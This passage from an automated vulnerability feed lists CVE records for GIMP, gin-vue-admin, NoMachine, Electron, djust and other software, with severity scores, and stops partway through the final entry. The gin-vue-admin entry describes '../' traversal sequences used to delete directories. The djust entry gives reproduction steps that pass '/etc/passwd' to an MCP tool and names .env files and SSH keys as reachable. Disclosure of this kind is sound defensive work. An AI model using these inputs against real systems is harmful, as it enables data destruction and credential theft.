the context of the current process. Was ZDI-CAN-29268.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:30.620Z","updatedAt":"2026-10-22T17:34:37.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.0","vector":"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92202","asOf":"2026-10-22T17:34:37.867Z"},"epss":{"probability":0.00217,"percentile":0.12087,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92202&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92202","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92202","type":"primary","publishedAt":"2026-10-21T18:17:30.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92202&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92202, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92183","cveId":"CVE-2026-92183","aliases":[],"kind":"vulnerability","title":"GIMP APNG File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability.","summary":"GIMP APNG File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of APNG files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-29400.","detail":"GIMP APNG File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of APNG files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-29400.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:30.443Z","updatedAt":"2026-10-23T12:18:18.550Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.0","vector":"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92183","asOf":"2026-10-23T12:18:18.550Z"},"epss":{"probability":0.00434,"percentile":0.37367,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92183&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92183","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92183","type":"primary","publishedAt":"2026-10-21T18:17:30.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92183&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92183, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114492","cveId":"CVE-2026-114492","aliases":[],"kind":"vulnerability","title":"gin-vue-admin through 2.9.2 contains a path traversal vulnerability that allows authenticated administrators to recursively delete arbitrary directories by supplying traversal...","summary":"gin-vue-admin through 2.9.2 contains a path traversal vulnerability that allows authenticated administrators to recursively delete arbitrary directories by supplying traversal sequences in the pluginName parameter. Attackers can send a crafted POST request to /autoCode/removePlugin with '../' sequences, causing os.RemoveAll to delete any directory writable by the server process.","detail":"gin-vue-admin through 2.9.2 contains a path traversal vulnerability that allows authenticated administrators to recursively delete arbitrary directories by supplying traversal sequences in the pluginName parameter. Attackers can send a crafted POST request to /autoCode/removePlugin with '../' sequences, causing os.RemoveAll to delete any directory writable by the server process.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:27.943Z","updatedAt":"2026-10-23T15:17:26.523Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114492","asOf":"2026-10-23T15:17:26.523Z"},"epss":{"probability":0.00511,"percentile":0.43271,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114492&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114492","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114492","type":"primary","publishedAt":"2026-10-21T18:17:27.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114492&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114492, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114263","cveId":"CVE-2026-114263","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in ProjectWorlds Advanced Library Management System 1.0. The affected element is the function mysqli_query of the file individual_report_search.php.","summary":"A vulnerability was identified in ProjectWorlds Advanced Library Management System 1.0. The affected element is the function mysqli_query of the file individual_report_search.php. Such manipulation of the argument roll_number leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.","detail":"A vulnerability was identified in ProjectWorlds Advanced Library Management System 1.0. The affected element is the function mysqli_query of the file individual_report_search.php. Such manipulation of the argument roll_number leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:26.937Z","updatedAt":"2026-10-23T23:17:43.133Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114263","asOf":"2026-10-23T23:17:43.133Z"},"epss":{"probability":0.00332,"percentile":0.26186,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114263&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114263","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114263","type":"primary","publishedAt":"2026-10-21T18:17:26.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114263&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114263, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114262","cveId":"CVE-2026-114262","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. Impacted is the function store of the file...","summary":"A vulnerability was determined in file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. Impacted is the function store of the file app/Http/Controllers/FileController.php. This manipulation of the argument File causes unrestricted upload. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was determined in file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. Impacted is the function store of the file app/Http/Controllers/FileController.php. This manipulation of the argument File causes unrestricted upload. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:26.767Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114262","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.0037,"percentile":0.30659,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114262&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114262","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114262","type":"primary","publishedAt":"2026-10-21T18:17:26.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114262&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114262, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111184","cveId":"CVE-2026-111184","aliases":[],"kind":"vulnerability","title":"NoMachine Named Pipe Incorrect Permission Assignment Local Privilege Escalation Vulnerability.","summary":"NoMachine Named Pipe Incorrect Permission Assignment Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of NoMachine. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the NoMachine Device Service. The issue results from incorrect permissions on a named pipe. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-31213.","detail":"NoMachine Named Pipe Incorrect Permission Assignment Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of NoMachine. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the NoMachine Device Service. The issue results from incorrect permissions on a named pipe. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-31213.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:23.620Z","updatedAt":"2026-10-23T12:18:08.437Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.0","vector":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111184","asOf":"2026-10-23T12:18:08.437Z"},"epss":{"probability":0.00142,"percentile":0.0353,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111184&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111184","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111184","type":"primary","publishedAt":"2026-10-21T18:17:23.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111184&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111184, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110744","cveId":"CVE-2026-110744","aliases":[],"kind":"vulnerability","title":"A flaw was found in multicluster-global-hub-operator-bundle. The operator is configured with overly broad role-based access control (RBAC) permissions that grant cluster-wide...","summary":"A flaw was found in multicluster-global-hub-operator-bundle. The operator is configured with overly broad role-based access control (RBAC) permissions that grant cluster-wide impersonation of arbitrary users, groups, and service accounts without restriction. An attacker who compromises the operator or obtains its service account credentials can exploit this flaw to achieve privilege escalation, gaining full administrative control over the cluster.","detail":"A flaw was found in multicluster-global-hub-operator-bundle. The operator is configured with overly broad role-based access control (RBAC) permissions that grant cluster-wide impersonation of arbitrary users, groups, and service accounts without restriction. An attacker who compromises the operator or obtains its service account credentials can exploit this flaw to achieve privilege escalation, gaining full administrative control over the cluster.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:23.350Z","updatedAt":"2026-10-23T15:17:23.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110744","asOf":"2026-10-23T15:17:23.877Z"},"epss":{"probability":0.00366,"percentile":0.30135,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110744&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110744","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110744","type":"primary","publishedAt":"2026-10-21T18:17:23.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110744&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110744, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113800","cveId":"CVE-2026-113800","aliases":["GHSA-fw47-9c62-h3vw"],"kind":"vulnerability","title":"Electron: HID and USB permission checks can be attributed to the wrong origin","summary":"You're only affected if you use `setPermissionCheckHandler` with origin-based logic for `hid` or `usb` and embed cross-origin iframes with `allow=\"hid\"` or `allow=\"usb\"`. Apps that don't delegate those features to untrusted iframes are not affected.","detail":"### Impact\nFor `hid` and `usb` permission checks made from an iframe, `session.setPermissionCheckHandler` was given the top-level frame's origin and details instead of the requesting frame's. Apps that allow these permissions based on origin could grant an embedded frame access intended for the top-level page.\n\nYou're only affected if you use `setPermissionCheckHandler` with origin-based logic for `hid` or `usb` and embed cross-origin iframes with `allow=\"hid\"` or `allow=\"usb\"`. Apps that don't delegate those features to untrusted iframes are not affected.\n\n### Workarounds\nDon't add `allow=\"hid\"` / `allow=\"usb\"` to untrusted iframes, or make the decision in your `select-hid-device` / `select-usb-device` handler using `details.frame`.\n\n### Fixed Versions\n* `45.0.0-alpha.5`\n* `44.3.0`\n* `43.7.0`\n* `42.11.3`\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)\n\nAffected package ranges reported by GitHub:\nelectron: >= 45.0.0-alpha.1, < 45.0.0-alpha.5\nelectron: >= 44.0.0-alpha.1, < 44.3.0\nelectron: >= 43.0.0-alpha.1, < 43.7.0\nelectron: < 42.11.3","action":"GitHub lists first patched versions: electron: 45.0.0-alpha.5; electron: 44.3.0; electron: 43.7.0; electron: 42.11.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T17:21:51.000Z","updatedAt":"2026-10-21T17:21:53.000Z","regions":["Global"],"vendor":null,"product":"electron, electron, electron, electron","stacks":["Electron","JavaScript packages (npm)","electron","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-fw47-9c62-h3vw","asOf":"2026-10-21T17:21:53.000Z"},"epss":{"probability":0.00241,"percentile":0.1512,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113800&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-fw47-9c62-h3vw","url":"https://github.com/advisories/GHSA-fw47-9c62-h3vw","type":"primary","publishedAt":"2026-10-21T17:21:51.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-fw47-9c62-h3vw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-fw47-9c62-h3vw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-fw47-9c62-h3vw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-fw47-9c62-h3vw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-fw47-9c62-h3vw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-fw47-9c62-h3vw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-fw47-9c62-h3vw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-fw47-9c62-h3vw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-fw47-9c62-h3vw, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113800&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113800, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113731","cveId":"CVE-2026-113731","aliases":["GHSA-r57g-mc79-8hj2"],"kind":"vulnerability","title":"djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool","summary":"This is inconsistent with the sibling tool in the same file (loaddata, ~line 290-303), which explicitly rejects paths outside the project directory for its own path-like parameter:\n```\ncandidate = os.path.realpath(...)\nif base_dir and not candidate.startswith(os.path.realpath(str(base_dir))):\n return json.dumps({\"error\": f\"fixture path '{p}' resolves outside the project directory\", ...})\n```\nfind_handlers_for_template has no equivalent check for template_path before the open() call.\n\nMitigating factor (reduces this from High to Medium): the tool does not return the raw file content. It runs one fixed regex (dj-(?:click|submit|change|input|keydown|keyup)\\s*=\\s*['\"]([^'\"]+)['\"]) against the content and returns only the matched handler-name strings, plus confirmation that the file exists and is readable (an existence/readability oracle on its own, independent of the regex match). If the targeted file happens to contain text matching that HTML-attribute-like pattern (plausible for config files, logs, or any text file with key=\"value\"-shaped content), those substrings are returned in full — so the read is not purely blind, but it is not a general-purpose arbitrary-file-read primitive either.","detail":"### Affected version / file / line\nVersion: djust v1.1.4 (latest release, published 2026-09-23). File: python/djust/mcp/server.py:354-433 (MCP tool find_handlers_for_template). Confirmed identical on the commit used for triage, a7e4fafd1667b4db0b1465652d4a63cb17117a07.\n\n### Description\n```\n@mcp.tool()\ndef find_handlers_for_template(template_path: str) -> str:\n \"\"\"\n Args:\n template_path: Either a logical template name (e.g.\n 'demos/counter.html' — what you'd pass to `render`) OR\n an absolute filesystem path. Both are searched.\n \"\"\"\n ...\n resolved_path: str | None = None\n if os.path.isabs(template_path) and os.path.isfile(template_path):\n resolved_path = template_path\n else:\n ... # logical-name resolution via Django's template loader\n ...\n with open(resolved_path, \"r\", encoding=\"utf-8\", errors=\"replace\") as f:\n source = f.read()\n handler_names_in_template = sorted({m.group(2) for m in dj_event_attr_re.finditer(source)})\n```\nWhen template_path is an absolute path to an existing file, it is used directly, with no confinement to the project/template directories — no realpath() + prefix check, no allowlist. open(resolved_path, ...) then reads the file.\n\nThis is inconsistent with the sibling tool in the same file (loaddata, ~line 290-303), which explicitly rejects paths outside the project directory for its own path-like parameter:\n```\ncandidate = os.path.realpath(...)\nif base_dir and not candidate.startswith(os.path.realpath(str(base_dir))):\n return json.dumps({\"error\": f\"fixture path '{p}' resolves outside the project directory\", ...})\n```\nfind_handlers_for_template has no equivalent check for template_path before the open() call.\n\n### Impact\nAn MCP client with access to this tool (available whenever the Django project is running the MCP server via python manage.py djust_mcp — no separate opt-in flag gates this specific tool beyond that) can read the contents of any file on disk that the process has read permission to and that exists, by passing an absolute path — e.g. /etc/passwd, application .env files, SSH keys, or any other sensitive file reachable by the server process's user.\n\nMitigating factor (reduces this from High to Medium): the tool does not return the raw file content. It runs one fixed regex (dj-(?:click|submit|change|input|keydown|keyup)\\s*=\\s*['\"]([^'\"]+)['\"]) against the content and returns only the matched handler-name strings, plus confirmation that the file exists and is readable (an existence/readability oracle on its own, independent of the regex match). If the targeted file happens to contain text matching that HTML-attribute-like pattern (plausible for config files, logs, or any text file with key=\"value\"-shaped content), those substrings are returned in full — so the read is not purely blind, but it is not a general-purpose arbitrary-file-read primitive either.\n\nProof of Concept / Reproduction\nTraced via direct source read; no live Django project was exercised for this report (would require a full djust project scaffold, which was out of scope for this pass — see limitation below).\n\n1. MCP client calls: find_handlers_for_template(template_path=\"/etc/passwd\")\n2. server.py ~line 393:\n 